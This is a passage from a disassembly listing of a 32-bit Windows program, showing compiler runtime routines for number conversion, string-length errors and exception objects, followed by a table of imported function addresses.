		jg	short loc_417AB4


loc_417AD2:				; CODE XREF: sub_417975+143j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_417B12


loc_417AD9:				; CODE XREF: sub_417975+13Dj
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_417B12
		mov	eax, [ebp+arg_0]
		neg	eax
		movzx	ebx, ax
		add	[ebp+arg_0], ebx


loc_417AF2:				; CODE XREF: sub_417975+191j
		test	byte ptr [ebp+var_28], 1
		jz	short loc_417AFB
		inc	[ebp+var_18]


loc_417AFB:				; CODE XREF: sub_417975+181j
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416E85
		dec	ebx
		pop	ecx
		jnz	short loc_417AF2
		cmp	[ebp+var_18], 0
		jz	short loc_417B12
		or	byte ptr [ebp+var_28], 1


loc_417B12:				; CODE XREF: sub_417975+162j
					; sub_417975+170j ...
		cmp	word ptr [ebp+var_28], 8000h
		ja	short loc_417B29
		mov	eax, [ebp+var_28]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_417B5E


loc_417B29:				; CODE XREF: sub_417975+1A3j
		cmp	[ebp+var_28+2],	0FFFFFFFFh
		jnz	short loc_417B5B
		and	[ebp+var_28+2],	0
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_417B56
		and	[ebp+var_24+2],	0
		cmp	word ptr [ebp+var_20+2], 0FFFFh
		jnz	short loc_417B50
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_20+2], 8000h
		jmp	short loc_417B5E
; ---------------------------------------------------------------------------


loc_417B50:				; CODE XREF: sub_417975+1CEj
		inc	word ptr [ebp+var_20+2]
		jmp	short loc_417B5E
; ---------------------------------------------------------------------------


loc_417B56:				; CODE XREF: sub_417975+1C2j
		inc	[ebp+var_24+2]
		jmp	short loc_417B5E
; ---------------------------------------------------------------------------


loc_417B5B:				; CODE XREF: sub_417975+1B8j
		inc	[ebp+var_28+2]


loc_417B5E:				; CODE XREF: sub_417975+1B2j
					; sub_417975+1D9j ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_417B82
		mov	cx, word ptr [ebp+var_28+2]
		mov	[esi], cx
		mov	ecx, [ebp+var_24]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_20]
		mov	[esi+6], ecx
		or	eax, edi


loc_417B7C:				; CODE XREF: sub_417975+93j
		mov	[esi+0Ah], ax
		jmp	short loc_417B9D
; ---------------------------------------------------------------------------


loc_417B82:				; CODE XREF: sub_417975+4Fj
					; sub_417975+5Aj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_417B9D:				; CODE XREF: sub_417975+B8j
					; sub_417975+20Bj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		pop	esi
		pop	ebx
		call	sub_411BA5
		leave
		retn
sub_417975	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BAD	proc near		; CODE XREF: sub_416F96+3F2p
					; sub_417423+144p

var_10		= byte ptr -10h
var_E		= dword	ptr -0Eh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		push	ebx
		mov	ebx, offset dword_421798
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		mov	[ebp+var_4], eax
		jz	short loc_417C2B
		jge	short loc_417BDB
		neg	[ebp+arg_4]
		mov	ebx, offset dword_4218F8
		sub	ebx, 60h


loc_417BDB:				; CODE XREF: sub_417BAD+21j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_417BE6
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_417BE6:				; CODE XREF: sub_417BAD+31j
		cmp	[ebp+arg_4], ecx
		jz	short loc_417C2B
		push	esi
		push	edi


loc_417BED:				; CODE XREF: sub_417BAD+7Aj
		mov	eax, [ebp+arg_4]
		sar	[ebp+arg_4], 3
		and	eax, 7
		add	ebx, 54h
		cmp	eax, ecx
		jz	short loc_417C24
		lea	eax, [eax+eax*2]
		lea	esi, [ebx+eax*4]
		cmp	word ptr [esi],	8000h
		jb	short loc_417C17
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		dec	[ebp+var_E]
		lea	esi, [ebp+var_10]


loc_417C17:				; CODE XREF: sub_417BAD+5Cj
		push	esi
		push	[ebp+arg_0]
		call	sub_417975
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_417C24:				; CODE XREF: sub_417BAD+4Fj
		cmp	[ebp+arg_4], ecx
		jnz	short loc_417BED
		pop	edi
		pop	esi


loc_417C2B:				; CODE XREF: sub_417BAD+1Fj
					; sub_417BAD+3Cj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	ebx
		call	sub_411BA5
		leave
		retn
sub_417BAD	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C39	proc near		; CODE XREF: sub_4176B7+96p
					; sub_4176B7+E4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4C5DA0
		push	esi
		jnb	short loc_417CA1
		mov	ecx, eax
		sar	ecx, 5
		mov	ecx, dword_4C5DC0[ecx*4]
		and	eax, 1Fh
		lea	edx, [ecx+eax*8+4]
		mov	cl, [edx]
		test	cl, 1
		jz	short loc_417CA1
		xor	eax, eax
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_417C79
		and	cl, 7Fh
		jmp	short loc_417C86
; ---------------------------------------------------------------------------


loc_417C79:				; CODE XREF: sub_417C39+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_417C95
		or	cl, 80h


loc_417C86:				; CODE XREF: sub_417C39+3Ej
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFC000h
		add	eax, esi
		mov	[edx], cl
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417C95:				; CODE XREF: sub_417C39+48j
		mov	dword_4C5904, 16h
		jmp	short loc_417CAB
; ---------------------------------------------------------------------------


loc_417CA1:				; CODE XREF: sub_417C39+Bj
					; sub_417C39+25j
		mov	dword_4C5904, 9


loc_417CAB:				; CODE XREF: sub_417C39+66j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_417C39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_417CB0	proc near		; CODE XREF: sub_40AB64+4Ap
		jmp	dword_4191F8
sub_417CB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_417CB6	proc near		; CODE XREF: sub_40AB64+33p
		jmp	dword_4191F4
sub_417CB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_417CBC	proc near		; CODE XREF: sub_40AB64+Ep
		jmp	dword_4191F0
sub_417CBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CC2	proc near		; CODE XREF: sub_417D91+25p
					; sub_417E2C+25p
		mov	eax, offset loc_418037
		call	sub_40F234
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		call	sub_417F23
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41C890
		call	sub_40C5D6
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_417CC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_417CFE	proc near		; DATA XREF: .text:0041C894o
					; .text:0041C8A0o ...
		cmp	dword ptr [ecx+24h], 10h
		jb	short loc_417D08
		mov	eax, [ecx+10h]
		retn
; ---------------------------------------------------------------------------


loc_417D08:				; CODE XREF: sub_417CFE+4j
		lea	eax, [ecx+10h]
		retn
sub_417CFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D0C	proc near		; CODE XREF: .text:00417D2Ap
					; sub_417D5F+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41C890
		call	sub_40C18A
		mov	ecx, esi
		pop	esi
		jmp	sub_417F7E
sub_417D0C	endp

; ---------------------------------------------------------------------------


loc_417D27:				; DATA XREF: .text:off_41C890o
		push	esi
		mov	esi, ecx
		call	sub_417D0C
		test	byte ptr [esp+8], 1
		jz	short loc_417D3D
		push	esi
		call	sub_40F6C1
		pop	ecx


loc_417D3D:				; CODE XREF: .text:00417D34j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_417D43:				; DATA XREF: .text:off_41C89Co
		push	esi
		mov	esi, ecx
		call	sub_417D5F
		test	byte ptr [esp+8], 1
		jz	short loc_417D59
		push	esi
		call	sub_40F6C1
		pop	ecx


loc_417D59:				; CODE XREF: .text:00417D50j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_417D5F	proc near		; CODE XREF: .text:00417D46p
					; DATA XREF: .text:0041CC98o
		mov	dword ptr [ecx], offset	off_41C89C
		jmp	sub_417D0C
sub_417D5F	endp

; ---------------------------------------------------------------------------


loc_417D6A:				; DATA XREF: .text:off_41C8A8o
		push	esi
		mov	esi, ecx
		call	sub_417D86
		test	byte ptr [esp+8], 1
		jz	short loc_417D80
		push	esi
		call	sub_40F6C1
		pop	ecx


loc_417D80:				; CODE XREF: .text:00417D77j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_417D86	proc near		; CODE XREF: .text:00417D6Dp
					; DATA XREF: .text:0041CC14o
		mov	dword ptr [ecx], offset	off_41C8A8
		jmp	sub_417D0C
sub_417D86	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D91	proc near		; CODE XREF: sub_40C2D9+13p
					; sub_40C36E+Fp ...
		mov	eax, offset loc_418025
		call	sub_40F234
		sub	esp, 44h
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-28h]
		call	sub_40C85D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_417CC2
		push	offset dword_41CC10
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41C8A8
		call	sub_40F6D4
		int	3		; Trap to Debugger
sub_417D91	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417DD1	proc near		; CODE XREF: .text:00417E1Bp
					; sub_417E2C+47p
		mov	eax, offset loc_418037
		call	sub_40F234
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_417F34
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_41C890
		call	sub_40C5D6
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_417DD1	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_417DD1
		mov	dword ptr [esi], offset	off_41C8A8
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_417E2C	proc near		; CODE XREF: sub_40C27D+Dp
					; sub_40C2D9+32p ...

var_40		= dword	ptr -40h

		mov	eax, offset loc_418025
		call	sub_40F234
		sub	esp, 44h
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-28h]
		call	sub_40C85D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_417CC2
		push	offset dword_41CC94
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41C89C
		call	sub_40F6D4
		int	3		; Trap to Debugger
		push	esi
		push	[esp+48h+var_40]
		mov	esi, ecx
		call	sub_417DD1
		mov	dword ptr [esi], offset	off_41C89C
		mov	eax, esi
		pop	esi
		retn	4
sub_417E2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_417E84	proc near		; CODE XREF: sub_40EE3F+24p
					; sub_40F144+13p
		jmp	dword_4191BC
sub_417E84	endp


; =============== S U B	R O U T	I N E =======================================



sub_417E8A	proc near		; CODE XREF: sub_417EC8+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_4], 0
		jz	short loc_417E97
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	eax


loc_417E97:				; CODE XREF: sub_417E8A+5j
		push	esi
		mov	esi, ecx


loc_417E9A:				; CODE XREF: sub_417E8A+28j
		xor	edx, edx
		div	[esp+4+arg_0]
		cmp	edx, 9
		jbe	short loc_417EAA
		add	dl, 57h
		jmp	short loc_417EAD
; ---------------------------------------------------------------------------


loc_417EAA:				; CODE XREF: sub_417E8A+19j
		add	dl, 30h


loc_417EAD:				; CODE XREF: sub_417E8A+1Ej
		mov	[ecx], dl
		inc	ecx
		test	eax, eax
		ja	short loc_417E9A
		and	byte ptr [ecx],	0
		dec	ecx


loc_417EB8:				; CODE XREF: sub_417E8A+3Aj
		mov	dl, [esi]
		mov	al, [ecx]
		mov	[ecx], dl
		dec	ecx
		mov	[esi], al
		inc	esi
		cmp	esi, ecx
		jb	short loc_417EB8
		pop	esi
		retn
sub_417E8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EC8	proc near		; CODE XREF: .text:00409E5Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		mov	eax, [ebp+arg_0]
		jnz	short loc_417EDE
		test	eax, eax
		jge	short loc_417EDE
		push	1
		push	0Ah
		jmp	short loc_417EE3
; ---------------------------------------------------------------------------


loc_417EDE:				; CODE XREF: sub_417EC8+Aj
					; sub_417EC8+Ej
		push	0
		push	[ebp+arg_8]


loc_417EE3:				; CODE XREF: sub_417EC8+14j
		mov	ecx, [ebp+arg_4]
		call	sub_417E8A
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_417EC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417EF2	proc near		; CODE XREF: .text:00417F0Ap
		mov	dword ptr [ecx], offset	off_41C8DC
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_417F06
		push	ecx
		call	sub_40E359
		pop	ecx

locret_417F06:				; CODE XREF: sub_417EF2+Bj
		retn
sub_417EF2	endp

; ---------------------------------------------------------------------------


loc_417F07:				; DATA XREF: .text:off_41C8DCo
		push	esi
		mov	esi, ecx
		call	sub_417EF2
		test	byte ptr [esp+8], 1
		jz	short loc_417F1D
		push	esi
		call	sub_40F6C1
		pop	ecx


loc_417F1D:				; CODE XREF: .text:00417F14j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_417F23	proc near		; CODE XREF: sub_417CC2+11p
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax+8], 0
		mov	dword ptr [eax], offset	off_41C8E4
		retn
sub_417F23	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F34	proc near		; CODE XREF: sub_417DD1+16p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	dword ptr [esi], offset	off_41C8E4
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_417F71
		push	dword ptr [edi+4]
		call	sub_40D630
		inc	eax
		push	eax
		call	sub_40E74F
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+4], eax
		jz	short loc_417F77
		push	dword ptr [edi+4]
		push	eax
		call	sub_40D8A0
		pop	ecx
		pop	ecx
		jmp	short loc_417F77
; ---------------------------------------------------------------------------


loc_417F71:				; CODE XREF: sub_417F34+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_417F77:				; CODE XREF: sub_417F34+2Ej
					; sub_417F34+3Bj
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_417F34	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F7E	proc near		; CODE XREF: sub_417D0C+16j
					; .text:00417FA4p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41C8E4
		jz	short locret_417F93
		push	dword ptr [ecx+4]
		call	sub_40E359
		pop	ecx

locret_417F93:				; CODE XREF: sub_417F7E+Aj
		retn
sub_417F7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F94	proc near		; DATA XREF: .text:0041C8E8o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_417FA0
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_417FA0:				; CODE XREF: sub_417F94+5j
		retn
sub_417F94	endp

; ---------------------------------------------------------------------------


loc_417FA1:				; DATA XREF: .text:off_41C8E4o
		push	esi
		mov	esi, ecx
		call	sub_417F7E
		test	byte ptr [esp+8], 1
		jz	short loc_417FB7
		push	esi
		call	sub_40F6C1
		pop	ecx


loc_417FB7:				; CODE XREF: .text:00417FAEj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		jmp	loc_40974F
; ---------------------------------------------------------------------------


loc_417FC5:				; DATA XREF: .text:0041CA84o
		lea	ecx, [ebp-14h]
		jmp	loc_40974F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18h]
		jmp	loc_40974F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	loc_40974F
; ---------------------------------------------------------------------------


loc_417FDD:				; DATA XREF: .text:loc_409772o
		mov	eax, offset dword_41CA98
		jmp	loc_40EE91
; ---------------------------------------------------------------------------


loc_417FE7:				; DATA XREF: sub_40C1BFo
		mov	eax, offset dword_41CB1C
		jmp	loc_40EE91
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		jmp	loc_40C1B7
; ---------------------------------------------------------------------------


loc_417FF9:				; DATA XREF: sub_40C62Fo
		mov	eax, offset dword_41CB40
		jmp	loc_40EE91
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+14h]
		jmp	loc_40C1B7
; ---------------------------------------------------------------------------


loc_41800B:				; DATA XREF: .text:0041CB68o
		lea	ecx, [ebp-28h]
		jmp	loc_40C1B7
; ---------------------------------------------------------------------------


loc_418013:				; DATA XREF: sub_40C7B0o
		mov	eax, offset dword_41CB6C
		jmp	loc_40EE91
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_40C1B7
; ---------------------------------------------------------------------------


loc_418025:				; DATA XREF: sub_417D91o sub_417E2Co
		mov	eax, offset dword_41CC28
		jmp	loc_40EE91
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_417F7E
; ---------------------------------------------------------------------------


loc_418037:				; DATA XREF: sub_417CC2o sub_417DD1o
		mov	eax, offset dword_41CC4C
		jmp	loc_40EE91

; =============== S U B	R O U T	I N E =======================================



sub_418041	proc near		; DATA XREF: .text:0041E008o
		push	0BB80h
		push	76Ch
		call	sub_408964
		pop	ecx
		pop	ecx
		mov	dword_4C58B8, eax
		retn
sub_418041	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset loc_40F852
		push	offset nullsub_1
		mov	eax, offset nullsub_2
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 3E1h	dup(0)
dword_419000	dd 77DD23D7h		; DATA XREF: sub_405E94+75r
					; sub_407C63+4Ar
dword_419004	dd 77DDACABh		; DATA XREF: sub_404BAB+E6r
					; sub_40A610+19Fr
dword_419008	dd 77DD590Bh		; DATA XREF: start+2Dr	sub_404BAB+458r
dword_41900C	dd 77DD59F0h		; DATA XREF: start+48r	sub_404BAB+480r
dword_419010	dd 77DD5C55h		; DATA XREF: start+55r
dword_419014	dd 77DD189Ah		; DATA XREF: start+5Fr	sub_404BAB+489r ...
dword_419018	dd 77DD22EAh		; DATA XREF: sub_405E94+53r
					; sub_407C63+23r
		align 10h
dword_419020	dd 77E7C866h		; DATA XREF: sub_41512C+24r
					; sub_41512C+128r
dword_419024	dd 77E641EBh		; DATA XREF: sub_41512C+19Cr
dword_419028	dd 77F522F2h		; DATA XREF: sub_4150F4+30r
dword_41902C	dd 77E7F044h		; DATA XREF: sub_414EC1+1Ar
					; sub_414EC1+71r
dword_419030	dd 77E7C3A5h		; DATA XREF: sub_414EC1+2Br
dword_419034	dd 77E6169Ah		; DATA XREF: sub_414EC1+C3r
dword_419038	dd 77E73FF9h		; DATA XREF: sub_414D0D+2Cr
dword_41903C	dd 77E77EE1h		; DATA XREF: sub_414B11+Br
dword_419040	dd 77E7C9E1h		; DATA XREF: sub_414B11+C1r
dword_419044	dd 77E67702h		; DATA XREF: sub_414B11:loc_414BE8r
dword_419048	dd 77E9C5B1h		; DATA XREF: sub_414B11+113r
dword_41904C	dd 77EB9A84h		; DATA XREF: sub_414662+167r
dword_419050	dd 77E7C9E7h		; DATA XREF: sub_4143C1+5r
					; sub_4143D4+6r
dword_419054	dd 77E781F9h		; DATA XREF: sub_412ED1+27r
					; sub_412ED1+15Br ...
dword_419058	dd 77E79924h		; DATA XREF: sub_412ED1+22Dr
					; sub_414B11:loc_414B80r ...
dword_41905C	dd 77E77405h		; DATA XREF: sub_412ED1+2C3r
					; sub_412ED1+344r ...
dword_419060	dd 77E61BE6h		; DATA XREF: sub_401073+9Ar
					; sub_401179+DCr ...
dword_419064	dd 77E77963h		; DATA XREF: sub_401073+F7r
					; sub_401179+136r ...
dword_419068	dd 77EBAAFAh		; DATA XREF: sub_40D610r
dword_41906C	dd 77E73628h		; DATA XREF: sub_401073+A7r
					; sub_404BAB+2E5r ...
dword_419070	dd 77E616B4h		; DATA XREF: sub_401073+8Fr
					; sub_409427+110r ...
dword_419074	dd 77E706B7h		; DATA XREF: sub_401073+83r
					; sub_401179+4Dr ...
dword_419078	dd 77E70396h		; DATA XREF: sub_401073+73r
					; sub_404BAB+23Ar ...
dword_41907C	dd 77EBA994h		; DATA XREF: sub_40D616r
dword_419080	dd 77EBB1E7h		; DATA XREF: sub_40D61Cr
dword_419084	dd 77E61A54h		; DATA XREF: sub_401179+7Dr
					; sub_4013E5+7Br
dword_419088	dd 77EBA6E9h		; DATA XREF: sub_40D622r
dword_41908C	dd 77EBA595h		; DATA XREF: sub_40D628r
dword_419090	dd 77E7A099h		; DATA XREF: sub_4012BA+21r
					; sub_40151D+21r ...
dword_419094	dd 77E79F93h		; DATA XREF: sub_4012BA+1Ar
					; sub_40151D+1Ar ...
dword_419098	dd 77E70F89h		; DATA XREF: sub_401648+Cr
dword_41909C	dd 77E61BB8h		; DATA XREF: sub_40198E+24C9r
					; sub_404BAB+375r ...
dword_4190A0	dd 77E6AD34h		; DATA XREF: sub_40198E+2301r
					; sub_404BAB+73r ...
dword_4190A4	dd 77E76A2Eh		; DATA XREF: sub_40198E+191Cr
					; sub_40198E+27A8r ...
dword_4190A8	dd 77E7751Ah		; DATA XREF: sub_40198E+1216r
					; sub_404BAB+11r ...
dword_4190AC	dd 77F5157Dh		; DATA XREF: sub_40198E+113Ar
					; sub_40198E+136Cr ...
dword_4190B0	dd 77E7AC37h		; DATA XREF: sub_40198E+111Er
					; sub_40198E+1350r ...
dword_4190B4	dd 77E704FCh		; DATA XREF: sub_40198E+104Er
					; sub_404901+173r ...
dword_4190B8	dd 77E75CB5h		; DATA XREF: sub_404BAB:loc_404F46r
					; sub_4056A2+423r ...
dword_4190BC	dd 77E80656h		; DATA XREF: sub_404BAB+31Cr
					; sub_4152E6+17r
dword_4190C0	dd 77E6BD13h		; DATA XREF: sub_404BAB:loc_404DEBr
dword_4190C4	dd 77E74CABh		; DATA XREF: sub_404BAB+223r
					; sub_40752D+10Fr ...
dword_4190C8	dd 77E76432h		; DATA XREF: sub_404BAB+F8r
					; .text:00409962r ...
dword_4190CC	dd 77E79D5Bh		; DATA XREF: sub_404BAB+8Cr
					; sub_404BAB+2BFr ...
dword_4190D0	dd 77E802FCh		; DATA XREF: sub_4152E6+33r
dword_4190D4	dd 77E78C17h		; DATA XREF: sub_404BAB+2Cr
dword_4190D8	dd 77E73C49h		; DATA XREF: sub_4056A2+499r
					; sub_4073C5+161r ...
dword_4190DC	dd 77E79D8Ch		; DATA XREF: sub_4056A2+136r
					; sub_408B66+A6r ...
dword_4190E0	dd 77E7A837h		; DATA XREF: sub_4056A2+5Dr
					; sub_4072DA+25r ...
dword_4190E4	dd 77E6C0E3h		; DATA XREF: sub_405BB7+4r
dword_4190E8	dd 77E96645h		; DATA XREF: sub_405E21+12r
dword_4190EC	dd 77E80618h		; DATA XREF: sub_405FD6+1Cr
dword_4190F0	dd 77E805D8h		; DATA XREF: sub_40600B+60r
					; sub_407D3E+13Ar ...
dword_4190F4	dd 77E79C90h		; DATA XREF: sub_406231+42r
					; sub_4093BC+Cr ...
dword_4190F8	dd 77E7A5FDh		; DATA XREF: sub_406425:loc_4064D3r
					; sub_407D3E+11r ...
dword_4190FC	dd 77E78EAAh		; DATA XREF: sub_406C59+5EDr
dword_419100	dd 77E79424h		; DATA XREF: sub_406C59+27Ar
dword_419104	dd 77E794BFh		; DATA XREF: sub_406C59+26Cr
dword_419108	dd 77E75E67h		; DATA XREF: sub_406C59+20Cr
					; sub_406C59+5DCr
dword_41910C	dd 77E75D9Eh		; DATA XREF: sub_406C59+1FBr
dword_419110	dd 77E78B82h		; DATA XREF: sub_4072DA+80r
					; sub_41050F+7Fr ...
dword_419114	dd 77E78C81h		; DATA XREF: sub_4072DA+6Cr
					; sub_4134BF+43r ...
dword_419118	dd 77E793EFh		; DATA XREF: sub_4072DA+38r
					; sub_40752D+1EDr
dword_41911C	dd 77E64106h		; DATA XREF: sub_4073C5+9Br
dword_419120	dd 77E64006h		; DATA XREF: sub_4073C5+87r
dword_419124	dd 77E75090h		; DATA XREF: sub_408995+6Fr
dword_419128	dd 77E74D76h		; DATA XREF: sub_408995+3Br
dword_41912C	dd 77E77797h		; DATA XREF: sub_408995+2Ar
dword_419130	dd 77E73CE2h		; DATA XREF: sub_408AC2+60r
					; sub_408EF0+109r
dword_419134	dd 77E668D9h		; DATA XREF: sub_408B66+155r
dword_419138	dd 77E7C657h		; DATA XREF: sub_408E61+16r
					; .text:00409D08r ...
dword_41913C	dd 77E77CCEh		; DATA XREF: sub_408EA9+1Er
					; sub_412ED1+C0r ...
dword_419140	dd 77E73BEFh		; DATA XREF: .text:00409AA8r
dword_419144	dd 77E73167h		; DATA XREF: .text:loc_40993Ar
dword_419148	dd 77E74672h		; DATA XREF: .text:004098E3r
dword_41914C	dd 77E7513Ch		; DATA XREF: .text:00409E8Fr
					; sub_415FE6+23r
dword_419150	dd 77E65F4Ch		; DATA XREF: sub_40A610+191r
dword_419154	dd 77E76C1Ah		; DATA XREF: sub_40A610+C8r
dword_419158	dd 77E75CEBh		; DATA XREF: sub_40A920+2Ar
dword_41915C	dd 77F7E300h		; DATA XREF: sub_40AD8F+12Er
dword_419160	dd 77F7E21Fh		; DATA XREF: sub_40AD8F+C5r
dword_419164	dd 77E7C706h		; DATA XREF: sub_40AFA2+59r
dword_419168	dd 77F53275h		; DATA XREF: sub_40AFA2+4Dr
					; sub_40AFA2+21Cr
dword_41916C	dd 77E73196h		; DATA XREF: sub_4162B9+Cr
dword_419170	dd 77F5722Fh		; DATA XREF: sub_412407+27r
					; sub_414F92+FDr ...
dword_419174	dd 77E7980Ah		; DATA XREF: sub_412407+7Er
					; sub_4124BE+52r ...
dword_419178	dd 77E79E34h		; DATA XREF: sub_4120EF+22Fr
dword_41917C	dd 77E77CC4h		; DATA XREF: sub_4152E6+1Fr
dword_419180	dd 77E6167Bh		; DATA XREF: sub_4152E6+Br
dword_419184	dd 77E7FF2Eh		; DATA XREF: sub_415EB9:loc_415F09r
					; sub_415F30:loc_415F83r
dword_419188	dd 77E7339Ch		; DATA XREF: sub_41629D+Cr
dword_41918C	dd 77E7176Ch		; DATA XREF: sub_4162D5+8r
dword_419190	dd 77E70192h		; DATA XREF: sub_4176B7+104r
dword_419194	dd 77E7C2C4h		; DATA XREF: sub_404BAB+85r
dword_419198	dd 77E7011Ah		; DATA XREF: sub_408AC2+96r
					; sub_408EF0+45Er
dword_41919C	dd 77E7C726h		; DATA XREF: sub_41202B+11r
dword_4191A0	dd 77E76E0Bh		; DATA XREF: sub_41202B+44r
dword_4191A4	dd 77E7849Fh		; DATA XREF: sub_411692+1Fr
					; sub_411824+96r ...
dword_4191A8	dd 77E6C703h		; DATA XREF: sub_411824+2Er
dword_4191AC	dd 77E7A13Fh		; DATA XREF: sub_411824+45r
dword_4191B0	dd 77E78406h		; DATA XREF: sub_410364+FEr
					; sub_410364+165r ...
dword_4191B4	dd 77F51597h		; DATA XREF: sub_40E359+30r
					; sub_4120EF+2B4r ...
dword_4191B8	dd 77F516F8h		; DATA XREF: sub_40E6DD+3Er
					; sub_410733+47r ...
dword_4191BC	dd 77F6183Eh		; DATA XREF: sub_417E84r
